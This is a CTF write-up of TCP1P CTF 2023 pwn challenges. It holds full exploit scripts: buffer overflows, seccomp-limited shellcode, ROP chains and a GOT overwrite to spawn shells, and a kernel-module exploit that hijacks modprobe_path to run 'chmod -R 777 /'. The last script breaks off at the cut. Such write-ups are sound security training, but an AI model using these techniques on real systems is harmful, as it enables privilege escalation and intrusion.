Last weekend, I participated in TCP1P CTF 2023 with my team, Fidethus. We feel honored to secure the 4th place despite being a team of just three. Kudos to my teammates, Djavaa and Berlian! Below are some write-ups of the challenges from the CTF.
Pwn
Bluffer Overflow
Description
Author: rennfurukawa
Maybe it’s your first time pwning? Can you overwrite the variable?
#include<stdio.h>#include<stdlib.h>charbuff[20];intbuff2;voidsetup(){setvbuf(stdin,buff,_IONBF,0);setvbuf(stdout,buff,_IONBF,0);setvbuf(stderr,buff,_IONBF,0);}voidflag_handler(){FILE*f=fopen("flag.txt","r");if(f==NULL){printf("Cannot find flag.txt!");exit(0);}}voidbuffer(){buff2=0;printf("Can you get the exact value to print the flag?\n");printf("Input: ");fflush(stdout);gets(buff);if(buff2>5134160){printf("Too high!\n\n");}elseif(buff2==5134160){printf("Congrats, You got the right value!\n");system("cat flag.txt");}else{printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n");}printf("\nOutput : %s, Value : %d \n",buff,buff2);}intmain(){flag_handler();setup();buffer();}
Observed that there’s a bug in the gets(buff) line of code, where we can input a string of any length. The objective here is to fill the buff2 value with 5134160 so the program prints the flag (note that the number 5134160 is a numerical representation of the word PWN). Since buff is merely a char array with a size of 20, it implies that by inputting 'a'*20 + 'PWN', the buff2 value would be overwritten.
1
2
3
4
5
nc ctf.tcp1p.com 17027
Can you get the exact value to print the flag?
Input: aaaaaaaaaaaaaaaaaaaaPWN
Congrats, You got the right value!
TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}
int__cdeclmain(intargc,constchar**argv,constchar**envp){void*v4;// [rsp+0h] [rbp-10h]
void*v5;// [rsp+8h] [rbp-8h]
v4=malloc(0x150uLL);v5=mmap(0LL,0x1000uLL,7,34,-1,0LL);setup();seccomp_setup();if(v5!=(void*)-1LL&&v4){puts("Anything you want to tell me? ");read(0,v4,0x150uLL);memcpy(v5,v4,0x1000uLL);((void(*)(void))v5)();free(v4);munmap(v5,0x1000uLL);return0;}else{perror("Allocation failed");return1;}}
In summary, it’s clear that we can provide input in the form of shellcode with a maximum length of 0x150. However, there’s seccomp in place, limiting the syscalls that we can invoke.
To find out what syscalls are allowed, let’s use seccomp-tools first.
There are 4 allowed syscalls, namely read, write, open, and getdents64. First, let’s identify the name of the flag file using getdents64. We need to create shellcode that will execute the following instructions:
open('./', os.O_DIRECTORY)
getdents64(3, 'rsp', 0x100)
write(1, 'rsp', 0x100)
To simplify the exploitation, we can use pwntools. Here is the script I used:
Anything you want to tell me?
Y`0\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00W`0\x00\x00\x00\x00\x00\x00\x00\x00..\x00\x00`0\x00\x00\x00\x00\x00\x00\x00\x00flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt\x00\xdb39`0\x00\x00\x00\x00\x00\x00\x00\x00run_challenge.sh\x00\x00\x00_0\x00\x00\x00\x00\x00\x00\x00\x00chall\x00\xfc
\xfe\xf5_0\x00\x00\x06\x00\x00\x00\x18\x04in\x00\x00\x00\x00
We can see that the flag’s filename is flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt. Let’s promptly create new shellcode to read that flag using a combination of open-read-write.
Anything you want to tell me?
TCP1P{I_pr3fer_to_SAY_ORGW_rather_th4n_OGRW_d0nt_y0u_th1nk_so??}6ee90.txt\x00\x00\x00\x00\xf4\xb8=V\x00\xa0\xe22=V\x00\x00\xbdm"\x7f\x00\x00\x00\x00\x00\xed\x97m"\x7f\x00\x00\x00\x00\x00\xb7\xf3\xb8=V\x00\x00\x00\x00\x00\xed\xaeR\xff\x7f\x00\x00\x00\x00\x00\x83IwLG\xc2\xa1\x18\xaeR\xff\x7f\x00\xb7\xf3\xb8=V\x00X\x1d\x15V\x00@\xb0\xbdm"\x7f\x00\x83IU\x94\x1a\xff^\x83I\xfd\x96hE_\x00\x00\x00\x00\x00
In this menu, we can create a chunk, where the creation process will allocate memory using malloc based on the size we provide. Then, we can fill in the value in that chunk through fgets.
This menu is used to delete a chunk we’ve created. There’s a bug in this menu, where after performing free, the stored pointer from the malloc retained in the user_chunk array isn’t cleared. Consequently, even though we’ve deleted that chunk, we can still view its contents later.
intread_flag(){inti;// [rsp+4h] [rbp-Ch]
FILE*stream;// [rsp+8h] [rbp-8h]
stream=fopen("flag.txt","r");if(stream){for(i=0;i<=3;++i)flag_chunk=(char*)malloc(0x70uLL);flag_chunk=(char*)malloc(0x70uLL);fgets(flag_chunk,112,stream);fclose(stream);returnputs("[*] flag loaded into memory");}else{puts("[!] flag.txt not found");returnputs("[!] if this happened on the remote server, please contact admin.");}}
This menu will call malloc(0x70) five times and then fill the last malloc chunk with the flag.
Based on the information obtained earlier, we see that the bug in the delete menu can be exploited to view the flag’s contents.
Note that when a chunk is removed through free, that chunk enters a cache managed by glibc, so the freed chunk can be reused when the program requests malloc again.
Given the previously discovered bug in the delete menu, we can exploit it by:
Creating chunk five times with a size of 0x70 (the same size as the flag).
Deleting them all.
There will be five chunks in the cache.
Calling read_flag.
read_flag will reuse the chunks we’ve previously deleted.
Using the view feature to see the contents of these chunks. One of the chunks will contain the flag.
int__cdeclmain(intargc,constchar**argv,constchar**envp){unsignedintv4;// [rsp+4h] [rbp-Ch] BYREF
intv5;// [rsp+8h] [rbp-8h]
unsignedintv6;// [rsp+Ch] [rbp-4h]
init(argc,argv,envp);printf("Do you want to play a game? (1: Yes, 0: No): ");while((unsignedint)__isoc99_scanf("%d",&v4)!=1||v4>1){while(getchar()!=10);printf("Invalid choice. Please enter 1 or 0: ");}while(getchar()!=10);if(v4){if(v4==1){v6=1;v5=0;while((int)v6<=5&&!v5){printf("Attempt %d:\n",v6);v5=game();++v6;}if(v5)ask();elseputs("You couldn't guess the number. Better luck next time!");}}else{puts("Okay, maybe another time!");}return0;}
__int64game(){chars[20];// [rsp+0h] [rbp-20h] BYREF
intnum_inp;// [rsp+14h] [rbp-Ch]
unsignedintrand_result;// [rsp+18h] [rbp-8h]
unsignedintv4;// [rsp+1Ch] [rbp-4h]
v4=0;rand_result=randomize();puts("Let's play a game, try to guess a number between 1 and 100");fgets(s,16,stdin);num_inp=atoi(s);if(!num_inp){puts("That's not a number");exit(0);}if(num_inp==rand_result){return1;}elseif(num_inp>=(int)rand_result){printf("Nope");}else{printf("Nope, the number i'm thinking is %d\n",rand_result);}returnv4;}
intask(){charbuf[256];// [rsp+0h] [rbp-100h] BYREF
puts("Congrats, you guessed it correctly. What do you want to do this morning?");read(0,buf,290uLL);if(strlen(buf)<=0x7F){puts("Oh, are you an introverted person?");exit(0);}returnprintf("Oh, you want to %s...\nWow, you're a very active person!\n",buf);}
To pass the game, it is very easy to predict the randomize() result because the seed is using current time.
Another thing is there is buffer overflow bug in ask. Observed that we can actually get a leak as well from it, considering our input will be printed.
Debugging through GDB, we can see that if we try to overwrite the last 2 bytes of stored RIP inside ask function stack, we can actually get a PIE leak + back to ask again to do the buffer overflow again. Notes that overwriting the last 2 bytes required a bit of bruteforce 4 nibbles.
After that, I overwrite the stored RIP of ask function stack to main, and then overwrite the stored RIP of main function stack back to ask. The reason here is that, main will insert libc address of atoi+20 near our stored input in ask after observing in GDB. With this, we can get a libc leak, and when the main want to return, it will be back to ask again due to our previous write. Now that we have a libc leak, we can simply overwrite the stored RIP with one_gadget to get a shell.
frompwnimport*fromctypesimportCDLLfromctypes.utilimportfind_librarylibc_dll=CDLL(find_library("c"))context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")exe=ELF('./gamechanger')libc=ELF('./libc.so.6')# whileTrue:try:libc.address=0x0exe.address=0x0ifargs.LOCAL:r=process('./gamechanger')else:r=remote('ctf.tcp1p.com',9254)# Bypass game checkr.sendlineafter(b': ',b'1')r.recvuntil(b'Attempt 1:\n')libc_dll.srand(libc_dll.time(0))rand_out=libc_dll.rand()info(f'{rand_out= }')guess=(rand_out+34)%23info(f'{guess= }')r.sendlineafter(b'1 and 100\n',str(guess).encode())out=r.recvline()info(f'{out= }')# Bruteforce, overwrite RIP to `ask+1`payload=b'a'*0x108+p16(0x535b)r.send(payload)r.recvuntil(b'want to ')out=u64((r.recvuntil(b'...\n')[0x108:-4])[:6].ljust(8,b'\x00'))info(f'{hex(out)= }')exe.address=out-(exe.sym.ask+1)info(f'PIE: {hex(exe.address)}')# Overwrite RIP to `ask+1` again, we need this for the sake of stack layout,# so that we can later on overwrite `main` stored RIP.payload=b'a'*0x100payload+=p64(exe.bss()+0x100)+p64(exe.sym.ask+1)r.send(payload)# Due to previous call, the buffer overflow in `ask` now can overwrite the# `main` stored RIP as well.# Overwrite `ask` stored RIP to `main+1`# Overwrite `main` stored RIP to `ask+1`payload=b'a'*0x100payload+=p64(exe.bss()+0x100)+p64(exe.sym.main+1)payload+=p64(exe.bss()+0x100)+p64(exe.sym.ask+1)pause()r.send(payload)r.sendlineafter(b': ',b'1')r.recvuntil(b'Attempt 1:\n')except:r.close()continue# Bypass game checklibc_dll.srand(libc_dll.time(0))rand_out=libc_dll.rand()info(f'{rand_out= }')guess=(rand_out+34)%23info(f'{guess= }')r.sendlineafter(b'1 and 100\n',str(guess).encode())out=r.recvline()info(f'{out= }')# Leak libc addresspayload=b'a'*0xc8r.send(payload)r.recvuntil(b'want to ')out=u64((r.recvuntil(b'...\n')[0xc8:-4])[:6].ljust(8,b'\x00'))info(f'{hex(out)= }')libc.address=out-(libc.sym.atoi+0x14)# Overwrite RIP with one_gadgetpayload=b'a'*0x100payload+=p64(exe.bss()+0x100)payload+=p64(libc.address+0xebcf5)r.send(payload)r.interactive()
So I just turned 17 and decided to make a bank account to deposit my money. This bank stores the money is safes, so it should be safe right?
nc ctf.tcp1p.com 1477
Solution
In this challenge, we are provided with a source code unsafe.c, along with its binary and the used libc. First, we check the mitigations applied to the binary with checksec.
1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '.'
Partial RELRO means we can overwrite the GOT. Now, let’s look at the provided source code:
#include<stdio.h>#include<unistd.h>#include<stdlib.h>#include<time.h>unsignedlongsafes[100]={7955998170729676800};char*exit_message="Have a nice day!";voidinit(){setvbuf(stdin,NULL,_IONBF,0);setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);}voiddeposit(){intindex=0;intamount=0;puts("Enter the safe number you want to deposit in (0-100): ");scanf("%d",&index);puts("Enter the amount you want to deposit: ");scanf("%d",&amount);safes[index]+=amount;}voidlogin(){unsignedlongage,input,password;charpet_name[5]="\0\0\0\0\0";puts("Input your age: ");scanf("%lu",&age);if(age<17){puts("Sorry, this is not a place for kids");exit(0);}puts("Input your pet name: ");scanf("%5c",pet_name);srand(time(NULL)*(*(short*)pet_name**(short*)(pet_name+2)+age));password=rand();puts("Input your password: ");scanf("%lu",&input);if(input!=password){puts("Password Wrong!");exit(0);}}intmain(){init();login();deposit();deposit();deposit();puts(exit_message);}
Looking at the code above, we can identify two bugs:
In the login function, the seed used by srand involves the current time along with the pet_name and age variables, which we can control. Therefore, the seed is predictable, and we can easily determine the password value filled in by the rand() result.
Thus, we can ensure that we will successfully login and proceed to the next function.
In the deposit function, there’s no validation for the index value we input.
This results in an Out-of-Bound Write (OOB) relative to the position of the safes array in the line of code safes[index] += amount.
Note that the safes array is a global variable, so its position will be in the bss segment.
We are given three OOB writes before the program calls puts(exit_message). Based on the above information, with these three OOB writes, one scenario we can do is:
With the first write, we can store the string /bin/sh in the safes array.
Notice in the code above that safes has an initial value of 7955998170729676800 (a numeral representation of \x00\x00\x00\x00/bin), which means safes+4 is /bin.
We only need to write /sh to safes[1] (safes+8), making the address safes+4 the string /bin/sh.
Note that exit_message is a pointer to char. With the second OOB write, we can change its stored value so that its address becomes the address of safes+4.
This change will make exit_message the string /bin/sh.
Lastly, because of Partial RELRO, we can overwrite the GOT value of puts with the address of system, so when we call puts, what gets invoked is system.
If we execute the above scenario, when the program calls puts(exit_message), it will execute system("/bin/sh").
frompwnimport*fromctypesimportCDLLfromctypes.utilimportfind_librarylibc_dll=CDLL(find_library("c"))exe=ELF("unsafe_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-linux-x86-64.so.2")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="ctf.tcp1p.com"remote_port=1477gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrdefdemangle(val,is_heap_base=False):ifnotis_heap_base:mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvalreturnval<<12defmangle(heap_addr,val):return(heap_addr>>12)^valr=conn()# Loginr.sendlineafter(b'age: \n',b'17')r.sendafter(b'name: \n',b'\x00'*4)ts=libc_dll.time(0)seed=(ts*17)%2**32libc_dll.srand(seed)password=libc_dll.rand()info(f'{password= }')r.sendlineafter(b'password: ',str(password).encode())# Write /shr.sendlineafter(b'(0-100): ',str(1).encode())r.sendlineafter(b'deposit: ',str(0x68732f).encode())# Ovewrite exit_message to safes+4r.sendlineafter(b'(0-100): ',str(100).encode())r.sendlineafter(b'deposit: ',str(0x205c).encode())# Value is retrieved based on observation in GDB# Overwrite puts with systemr.sendlineafter(b'(0-100): ',str(-12).encode())r.sendlineafter(b'deposit: ',str(libc.sym.system-libc.sym.puts).encode())r.interactive()
Jalankan script, dan kita pun mendapatkan shell.
1
2
3
4
5
6
[+] Opening connection to ctf.tcp1p.com on port 1477: Done
[*] password = 75291657
[*] Switching to interactive mode
$ cat flag.txt
TCP1P{bYp45s_tH3_l091n_4nd_0v3rwR1te_pUt5_t0_sy5t3m_4Nd_g3t_5hELl}
We were given a binary called ojou. Trying to disassemble it, we noticed that it’s a golang binary, which is statically linked. We didn’t want to check the whole disassembled result, so we just ran the binary, tried some inputs, and sometimes peeked at the disassembled result.
1
2
3
nc ctf.tcp1p.com 6666
Who's the cutest vtuber?
>>
Looking through the disassembly, we saw that we need to respond with Ojou! <3 for the binary to return YES and a gift, which is the address of /bin/sh. This information is somewhat pointless because the binary is statically linked, meaning we already know the address of /bin/sh.
Playing around with it, we found that there’s a crash log if we input a bunch of as after the null-terminated string Ojou! <3. Here’s an example of the crash log when we send the input b'Ojou! <3\x00' + b'a'*0x180:
[+] Starting local process './ojou': pid 15303
[*] Switching to interactive mode
Who's the cutest vtuber?
>> YES
Gift for you: *(0x520690)
runtime: out of memory: cannot allocate 7016996765295443968-byte block (3899392 in use)
fatal error: out of memory
goroutine 1 [running]:
runtime.throw({0x4988c7?, 0x476d8c?})
/usr/local/go/src/runtime/panic.go:1077 +0x5c fp=0xc0000aeca0 sp=0xc0000aec70 pc=0x4308fc
runtime.(*mcache).allocLarge(0x1a?, 0x6161616161616161, 0x1?)
/usr/local/go/src/runtime/mcache.go:236 +0x176 fp=0xc0000aece8 sp=0xc0000aeca0 pc=0x412db6
runtime.mallocgc(0x6161616161616161, 0x0, 0x0)
/usr/local/go/src/runtime/malloc.go:1123 +0x4f6 fp=0xc0000aed50 sp=0xc0000aece8 pc=0x40b956
runtime.slicebytetostring(0xc0000aef77?, 0x6161616161616161, 0x6161616161616161)
/usr/local/go/src/runtime/string.go:112 +0x77 fp=0xc0000aed80 sp=0xc0000aed50 pc=0x44a1b7
main.main()
/home/kali/Desktop/kirakira/main.go:37 +0x2e7 fp=0xc0000aef40 sp=0xc0000aed80 pc=0x47ddc7
runtime: g 1: unexpected return pc for main.main called from 0x6161616161616161
Based on the error message, we concluded that there’s a buffer overflow, and we could probably do ROP to call execve("/bin/sh", 0, 0). After some experimentation to find the appropriate offset, we discovered that we need to add 0x141 characters after Ojou! <3\x00 to start affecting the PC.
So, the next step was just to locate the suitable gadgets with the assistance of ROPGadget, and then carry out the ROP. Below is the complete script that we used:
frompwnimport*r=remote('ctf.tcp1p.com',6666)pop_rax_rbp=0x004723capop_rdi=0x004726a4pop_rdx=0x00479d7asyscall=0x00465b2dvtuber=b'Ojou! <3\x00'# ROP to trigger execve("/bin/sh", 0, 0)payload=b'\x00'*1payload+=b'\x00'*(0x140)payload+=p64(pop_rdx)payload+=p64(0)payload+=p64(pop_rax_rbp)payload+=p64(0x400160)# Set [rax] to 0payload+=p64(0)payload+=p64(pop_rdi)payload+=p64(0x497d19)payload+=p64(pop_rax_rbp)payload+=p64(0x3b)payload+=p64(0)payload+=p64(syscall)r.sendlineafter(b'>> ',vtuber+payload)r.interactive()
unsigned__int64__fastcallcool_thing1(__int64a1,inta2,inta3,inta4,inta5,inta6){intv6;// ecx
intv7;// r8d
intv8;// r9d
unsigned__int64v10;// [rsp+8h] [rbp-18h] BYREF
unsigned__int64v11;// [rsp+10h] [rbp-10h] BYREF
unsigned__int64v12;// [rsp+18h] [rbp-8h]
v12=__readfsqword(0x28u);printf((unsignedint)"Give me two special numbers:\n> ",a2,a3,a4,a5,a6);_isoc99_scanf((unsignedint)"%lu %lu",(unsignedint)&v10,(unsignedint)&v11,v6,v7,v8);if(v10==v11){puts("Different numbers please!");}elseif(v10>=0x80000000&&v11>=0x80000000){if((_DWORD)v10==(_DWORD)v11){puts("\nCongrats! Can you explain what's happening here?");read(0LL,&anu,0x10LL);cool_thing2();}else{puts("Wrong!");}}else{puts("Too small!");}returnv12-__readfsqword(0x28u);}
Reviewing the source code, we see that to bypass the check, we only need to ensure the lower four bytes of our input are the same, while the upper four bytes are different.
unsigned__int64__fastcallcool_thing2(__int64a1,inta2,inta3,inta4,inta5,inta6){intv6;// ecx
intv7;// r8d
intv8;// r9d
__int64v10;// [rsp+0h] [rbp-40h] BYREF
__int64v11;// [rsp+8h] [rbp-38h] BYREF
charv12[40];// [rsp+10h] [rbp-30h] BYREF
unsigned__int64v13;// [rsp+38h] [rbp-8h]
v13=__readfsqword(0x28u);printf((unsignedint)"\nGive me another two special numbers:\n> ",a2,a3,a4,a5,a6);_isoc99_scanf((unsignedint)"%ld %ld",(unsignedint)&v10,(unsignedint)&v11,v6,v7,v8);if(v10==v11){puts("Different numbers please!");}elseif((float)(int)v10==*(float*)&v11){((void(*)(void))cool_thing3)();puts("\nWell done hero! What's your name?");read(0LL,v12,0x40LL);}else{puts("Wrong!");}returnv13-__readfsqword(0x28u);}
To bypass the above check, we can simply use gdb to determine the casting result of our input v10, then convert that casting result to hex and use it as the v11 value. Note that there is a buffer overflow in v12.
unsigned__int64__fastcallcool_thing3(__int64a1,inta2,inta3,inta4,inta5,inta6){intv6;// ecx
intv7;// r8d
intv8;// r9d
intv9;// edx
intv10;// ecx
intv11;// r8d
intv12;// r9d
doublev14;// [rsp+0h] [rbp-20h] BYREF
doublev15;// [rsp+8h] [rbp-18h] BYREF
charv16[8];// [rsp+10h] [rbp-10h] BYREF
unsigned__int64v17;// [rsp+18h] [rbp-8h]
v17=__readfsqword(0x28u);printf((unsignedint)"\nGive me one final pair of special numbers:\n> ",a2,a3,a4,a5,a6);_isoc99_scanf((unsignedint)"%lf %lf",(unsignedint)&v14,(unsignedint)&v15,v6,v7,v8);if(v14==v15){puts("Different numbers please!");}elseif(LODWORD(v14)==LODWORD(v15)){puts("\nHorray! Here's a present for you, if you need it...");printf((unsignedint)"%ld\n",v17,v9,v10,v11,v12);read(0LL,v16,0x19LL);}else{puts("Wrong!");}returnv17-__readfsqword(0x28u);}
To bypass the above check, we can actually re-use the number that we used to bypass cool_thing1. However, we need to convert the hex to its double representation first. Note that there is a buffer overflow bug here as well. Additionally, this function provides us with a canary leak. The challenge here is, with the limited size of the overflow we can perform, we need to execute a ROP to spawn a shell.
Now that we’re aware of all the bugs, we need to devise a strategy for exploitation. Our approach is as follows:
Write /bin/sh to anu during cool_thing1.
Bypass cool_thing2.
Bypass cool_thing3. And with the buffer overflow:
Pivot RBP to the bss area (let’s refer to it as new_rbp).
Return to cool_thing2, where we have a second buffer overflow with a much larger size. Here’s what we do:
We place some of our ROP payload in the first 0x28 bytes that we send.
Overwrite the RBP to new_rbp+0x40. This is because we want to set up another ROP payload beneath this payload.
Overwrite the RIP to cool_thing2+182 to trigger the buffer overflow once more.
Repeat these steps until we have placed all of our ROP payload in the initial 0x28 bytes that we sent during each phase.
In the final step, pivot the RBP to new_rbp-0x40, so that later, we can jump to our ROP payload.
When it jumps to our ROP payload, we will secure a shell.
In a nut shell, the stack layout of the above approaches will be like this:
frompwnimport*context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")# r = process('./teleport', env={})r=remote('ctf.tcp1p.com',1470)exe=ELF('./teleport')# Set anu to /bin/shx=0x8100000001y=0x8200000001r.sendlineafter(b'numbers:\n',f'{x}{y}'.encode())r.sendafter(b'here?',b'/bin/sh\x00')# Another bypassx=0x3f800000y=0x4e7e0000r.sendlineafter(b'numbers:\n',f'{x}{y}'.encode())# Leak canaryr.sendlineafter(b'numbers:\n',f'2.73737457035e-312 2.71615461244e-312'.encode())r.recvuntil(b'it...\n')canary=int(r.recvline().strip())&(2**64-1)info(f'{hex(canary)= }')# Pivot RBP to exe.bss()new_rbp=0x4e9100payload=b'a'*8payload+=p64(canary)payload+=p64(new_rbp)r.send(payload)pop_rdi=0x000000000040251fpop_rsi=0x004b569fpop_rdx_rbx=0x00000000004a3dcbpop_rax=0x004a410apop_r13_r14_r15=0x004b5c7csyscall_ret=0x00497be9# Why do we need pop_r13_r14_r15? Because we need to throw 3 useless value so that our ROP# will continue to the next ROP payload that we set in the next read call.payload=p64(pop_rdi)+p64(exe.sym.anu)+p64(pop_rsi)+p64(0)+p64(pop_r13_r14_r15)payload+=p64(canary)payload+=p64(new_rbp+0x40)payload+=p64(exe.sym.cool_thing2+182)# cool_thing2+182r.sendafter(b'name?\n',payload)payload=p64(pop_rax)+p64(0x3b)+p64(pop_rax)+p64(0x3b)+p64(pop_r13_r14_r15)payload+=p64(canary)payload+=p64(new_rbp+0x40*2)payload+=p64(exe.sym.cool_thing2+182)# cool_thing2+182r.send(payload)payload=p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(syscall_ret)+b'c'*8payload+=p64(canary)payload+=p64(new_rbp-0x40)payload+=p64(exe.sym.cool_thing2+182)# cool_thing2+182r.send(payload)payload=b'd'*0x28payload+=p64(canary)payload+=p64(new_rbp)payload+=p64(pop_rdi+1)# cool_thing2+182r.send(payload)r.interactive()
Flag: TCP1P{ju5T_4n0tH3r_p1vOt_ch4LlEn9e}
💀
Description
Author: hyffs
Let him cook
nc ctf.tcp1p.com 10000
Solution
We were given a zip file containing a kernel image bzImage and initramfs.cpio.gz. First, let’s unpack the initramfs.cpio.gz to extract the kernel driver. The kernel driver is located in /lib/modules/6.1.56/cook.ko.
Let’s disassemble the driver. The only function that is interesting is the gyattt_ioctl.
Looking through the code, we can identify two actions when interacting with the given driver via ioctl:
By using the magic number 0x6969, we can read any value from a specified address.
With the magic number 0xFADE, we’re able to write any value to our chosen address.
The operation follows the format ioctl(driver_fd, magic_number, &buf), where buf is the value we want to set (restricted to 8 bytes and only during write operations), and buf+8 is the kernel address we aim to read or write.
Given the arbitrary read and write capabilities provided by the driver, crafting an exploit becomes quite straightforward. Our primary goal is to overwrite the modprobe_path with a custom malicious script, enabling us to escalate privileges to root.
It’s important to note that the kernel’s ASLR space is relatively limited. Therefore, with the arbitrary read function, we can actually brute-force the possible kernel_base addresses. Here’s how:
We scan the kernel memory, starting from 0xffffffff81000000 and ending at 0xffffffffc0000000, incrementing by 0x100000.
Attempt to read the value at curr_addr+modprobe_path_offset with the arbitrary read. If the retrieved value begins with /sbin/m (8 bytes), we’ve successfully recovered the kernel_base.
Next, using the arbitrary write, we overwrite this path with our malicious script.
#define _GNU_SOURCE
#include<fcntl.h>#include<stdint.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<inttypes.h>#include<sys/ioctl.h>#include<sys/msg.h>#include<sys/shm.h>#include<sys/stat.h>#include<sys/syscall.h>#include<sys/socket.h>#include<sys/types.h>#include<linux/userfaultfd.h>#include<sys/resource.h>#include<pthread.h>#include<sys/mman.h>#include<poll.h>#include<time.h>#include<unistd.h>voidfatal(constchar*msg){perror(msg);exit(1);}// Helper method during debugging
voidprint_data(char*buf,size_tlen){// Try to print data
for(inti=0;i<len;i+=8){char*fmt_str;if((i/8)%2==0){fmt_str="0x%04x: 0x%016lx";printf(fmt_str,i,*(unsignedlong*)&buf[i]);}else{fmt_str=" 0x%016lx\n";printf(fmt_str,*(unsignedlong*)&buf[i]);}}puts("");}intmain(){puts("Hello World!");intfd=open("/dev/cook",O_RDWR);charbuf[0x10]={0};// Try to find where is /sbin/modprobe
unsignedlongmodprobe_path=0x0;for(unsignedlongaddr=0xffffffff81000000;addr<=0xffffffffc0000000;addr+=0x100000){unsignedlong*p=(unsignedlong*)&buf;*p++=0;*p++=addr+0x1852420;ioctl(fd,0x6969,&buf);char*pos=strstr(buf,"/sbin/m");if(pos){modprobe_path=addr+0x1852420;printf("FOUND modprobe: 0x%016lx\n",modprobe_path);break;}}// Overwrite modprobe
unsignedlong*p=(unsignedlong*)&buf;charez[0x8]="/home/bl";*p++=modprobe_path;*p++=(unsignedlong)&ez;ioctl(fd,0xFADE,&buf);p=(unsignedlong*)&buf;charez2[0x8]="ud/ez\x00";*p++=modprobe_path+0x8;*p++=(unsignedlong)&ez2;ioctl(fd,0xFADE,&buf);system("echo -e '#!/bin/sh\nchmod -R 777 /' > /home/blud/ez");system("chmod +x /home/blud/ez");system("echo -e '\xde\xad\xbe\xef' > /home/blud/pwn");system("chmod +x /home/blud/pwn");system("/home/blud/pwn");system("/bin/sh");puts("");getchar();}
The malicious script we use executes chmod -R 777 /, allowing any user to read files under the /root directory. Below is the script we use to upload the compiled binary:
unsigned__int64__fastcallverify(__int64a1){void*v1;// rsp
__int64v3;// [rsp+8h] [rbp-40h] BYREF
__int64v4;// [rsp+10h] [rbp-38h]
__int64v5;// [rsp+20h] [rbp-28h]
void*buf;// [rsp+28h] [rbp-20h]
unsigned__int64v7;// [rsp+30h] [rbp-18h]
v4=a1;v7=__readfsqword(0x28u);v5=31LL;v1=alloca(32LL);buf=&v3;if(*((_QWORD*)&TICKET+a1)){puts("Please Confirm !");printf("Your seat %lu\n",v4);printf("please say your name for confirmation : ");read(0,buf,0x20uLL);sub_1450((constchar*)buf);if(!strcmp(*((constchar**)&TICKET+v4),(constchar*)buf)){puts("This ticket has been verified, for your own safety please change the ticket name");printf("New name : ");read(0,*((void**)&TICKET+v4),0x20uLL);}else{printf("Sorry sir this ticket belongs to %s",*((constchar**)&TICKET+v4));*((_QWORD*)&TICKET+v4)=0LL;}}else{puts("This seat is available, you are free to order this one");}returnv7-__readfsqword(0x28u);}
refund
1
2
3
4
5
6
7
int__fastcallrefund(__int64a1){if(!*((_QWORD*)&TICKET+a1))returnputs("This seat is available, you are free to order this one");free(*((void**)&TICKET+a1));returnputs("ok");}
Reviewing the provided code, we summarize its functionality as follows:
order: Creates a new ticket with a fixed chunk size of 0x20, which is not under our control.
verify: Allows editing of an existing ticket.
refund: Deletes a ticket.
Additionally, the binary has seccomp restrictions enforcing that only open, read, and write syscalls are permissible, eliminating the possibility of spawning a shell.
We’ve identified a Use-After-Free vulnerability in the refund function, where the TICKET structure isn’t cleared post-deletion. With this insight, our exploitation strategy encompasses the following steps:
Leak the heap address by exploiting the Use-After-Free vulnerability, allowing us to gather valuable information about memory layout.
Leak the libc address, essential for bypassing ASLR and potentially manipulating function pointers within libc.
Leak the stack address to understand the precise stack layout, preparing for a potential Return-Oriented Programming (ROP) exploit.
Execute the open-read-write sequence, as these are the only syscalls allowed, focusing our exploit path. This strategy doesn’t involve spawning a shell but rather reading sensitive information or writing our payload into executable memory.
Leak libc address
Typically, we might leak a libc address by filling up the tcache for large-size chunks. However, our limitation is that we can only invoke malloc(0x20). This constraint led us to the following strategy:
Engage in tcache poisoning, allowing us to redirect our new chunk towards the tcache metadata (which is located in the start of the heap area).
We aim for the count metadata corresponding to each bin size.
Then, we adjust the count to 7 to max it out.
In this challenge, I adjusted the 0xc0 size counter to 7.
Subsequently, we perform another tcache poisoning to create a new chunk that overlaps an existing chunk header.
We overwrite the chunk size to 0xc0.
Upon freeing it, the chunk, now situated in the unsorted bin, carries the libc address of main_arena.
Notes that to do the the tcache poisoning, we can simply use the verify function to modify the pointer pointed by the tcache chunk. However, noticed that during the overwrite process via verify, our input must pass the sub_1450(input) function to match the value stored in the targeted ticket. I simply replicated the function using z3 to fetch what value that I need to put to pass the check.
Leak stack address
With the libc leak in hand and considering seccomp restrictions, we opted for ROP, which means we need a stack leak. We achieved this by directing a tcache poison towards environ and extracting its value.
Execute open-read-write
Having the stack leak, our next challenge was gaining RIP control. We came out with the following strategy:
Note that a chunk is allocated within the order function.
Utilize the stack leak to predict the stack address for the stored RIP within the order function’s stack frame.
If our offset prediction is accurate, we gain RIP control when allocating the chunk inside the order function.
Given the 0x20 size constraint, we can extend our control by invoking gets().
Subsequently, we can launch our attack sequence accordingly.
Below is the complete script embodying our approach:
frompwnimport*fromctypesimportCDLLfromctypes.utilimportfind_libraryfromz3import*libc_dll=CDLL(find_library("c"))exe=ELF("main_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-2.37.so")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")remote_url="ctf.tcp1p.com"remote_port=49999gdbscript='''
